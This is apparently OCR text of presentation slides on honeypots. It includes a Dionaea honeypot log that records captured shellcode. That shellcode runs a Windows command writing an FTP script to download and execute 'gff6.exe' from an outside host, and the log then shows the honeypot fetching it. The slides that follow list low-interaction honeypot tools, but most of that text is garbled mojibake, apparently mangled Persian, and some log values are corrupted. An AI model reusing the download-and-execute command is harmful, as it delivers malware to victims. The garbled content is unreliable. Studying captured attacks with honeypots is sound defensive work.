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“A honeypot is a security resource whose value lies in being probed,
attacked, or compromised.” - Lance Spitzner
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10041120160 00:42:22] emu dionaea/emu.py:53: profiledump [{'return': '32', ‘args’
: ['emd /c echo open 60.10.179.100 2270 > i&echo 123>> i&echo 123>> i&echo bin >

> i&echo get gff6.exe >> i&echo quit >> i&ftp -s:i&del /F /Q i&gff6.exe\r\n', '©
‘], 'call': ‘wWintExec'}, {'return': '@', 'args': ['©'], 'call': 'ExitThread'}]

SplitResult(scheme='ftp', netloc='123:123@66.10.179.100:2270', path='/qff6.exe’,
query=""', fragment='")

[04112010 00:42:22] ftp dionaea/ftp.py:931: do download

(04112010 00:42:22] connection connection.c:3794: connection ©x9556118 none/tcp
type: none->connect

[04112010 00:42:22] connection connection.c:3827: connection 0x9556118 connect/t

cp/none [192.168.66.106:54482->] state: none->connecting

[04112010 ©0:42:22] logsql dionaea/logsql.py:464: connect connection to /66.10.1

79.100:2270 from 192.168.66.106:54482 (id=18648)

[04112010 00:42:22] logsql dionaea/logsql.py:515: parent ids (18644, 18644)
[04112010 00:42:22] logsql dionaea/logsql.py:518: child had ids (18648, 18648)
[04112010 00:42:22] logsql dionaea/logsql.py:523: child has ids (18644, 18648)
[04112010 00:42:22] logsql dionaea/logsql.py:524: child 18648 parent 18644 root
18644

[04112010 ©0:42:22] logsql dionaea/logsql.py:566: offer for attackid 18644

[04112010 00:42:22] cmd dionaea/cmd.py:241: ftp://123:123@660.10. 1‘3 100:2270//gf

SRS &r-..w] LS)L”



Honeypots: Challenges and Future Directions

Low-Interaction ol Sl

: 550 Low-Interaction sls ol Jls @
o9l 4 Nepenthes ol s (g ool &ye0 :AMuUn —
Honeytrap + Nepenthes o> sle coll8 JoL: :Mwcollect —
oy Cov oo S OHes  paao Glastopf —
Oleyd b Sl yeiws 5l golaws + e piwew 1B SO SSH ol Jle Kippo —
aiS Glp AV 5 6 pd ol sla g5k 5l eoliwl oS @b e :PhoneyC —
(SURFids sl ) smtp &b Jls :SMTP-HP  —
Honeytrap -—

PhoneyC oy Jlo (5 ,loxe



Honeypots: Challenges and Future Directions

GO o=

oz ddfllan g 2iS gl sl lidoe Lol slaylnl 51 SO ol Sl
NVATPPPINUNT S

ol Sl sleolaiuwl aiejla |y lakore wuas sl SuST g O oo
o od; LQ)‘)J‘ LJ"‘ LgLfb g.,u.l.:lﬂ u.o).uj g o> LSLQ

Jiss a pliale il 5 DMes ol R4S 51 (6 S gl (sl ()],5 558
sl ol b Sl 5l w3 6l ole SuST 5 eola]





